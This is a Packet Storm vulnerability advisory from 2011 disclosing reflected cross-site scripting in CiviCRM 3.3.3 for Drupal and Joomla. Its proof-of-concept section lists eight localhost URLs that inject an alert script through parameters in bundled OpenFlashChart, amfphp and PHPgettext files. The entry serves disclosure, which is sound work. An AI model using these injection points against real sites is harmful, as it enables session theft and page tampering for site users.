CiviCRM 3.3.3 Drupal-Joomla Cross Site Scripting

2011-02-07T00:00:00
ID PACKETSTORM:98246
Type packetstorm
Reporter AutoSec Tools
Modified 2011-02-07T00:00:00

Description

                                        
                                            `------------------------------------------------------------------------  
Software................CiviCRM 3.3.3 Drupal-Joomla  
Vulnerability...........Reflected Cross-site Scripting  
Download................http://civicrm.org/  
Release Date............2/2/2011  
Tested On...............Windows Vista + XAMPP  
------------------------------------------------------------------------  
Author..................AutoSec Tools  
Site....................http://www.autosectools.com/  
------------------------------------------------------------------------  
  
--Description--  
  
A reflected cross-site scripting vulnerability in CiviCRM 3.3.3  
Drupal-Joomla can be exploited to execute arbitrary JavaScript.  
  
  
--PoC--  
  
Drupal:  
  
http://localhost/drupal-6.20/sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?defaultPath=%3Cscript%3Ealert(0)%3C/script%3E  
  
http://localhost/drupal-6.20/sites/all/modules/civicrm/packages/amfphp/browser/code.php?class=%3Cscript%3Ealert(0)%3C/script%3E  
  
http://localhost/drupal-6.20/sites/all/modules/civicrm/packages/amfphp/browser/details.php?class=<script>alert(0)</script>  
  
http://localhost/drupal-6.20/sites/all/modules/civicrm/packages/amfphp/browser/methodTable.php?class=%3Cscript%3Ealert(0)%3C/script%3E  
  
  
Joomla:  
  
http://localhost/joomla/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?defaultPath=%3Cscript%3Ealert(0)%3C/script%3E  
  
http://localhost/joomla/administrator/components/com_civicrm/civicrm/packages/amfphp/browser/methodTable.php?class=%3Cscript%3Ealert(0)%3C/script%3E  
  
http://localhost/joomla/administrator/components/com_civicrm/civicrm/packages/PHPgettext/examples/pigs_dropin.php?lang=0%3Cscript%3Ealert(0)%3C/script%3E  
  
http://localhost/joomla/administrator/components/com_civicrm/civicrm/packages/PHPgettext/examples/pigs_fallback.php?lang=%3Cscript%3Ealert(0)%3C/script%3E  
`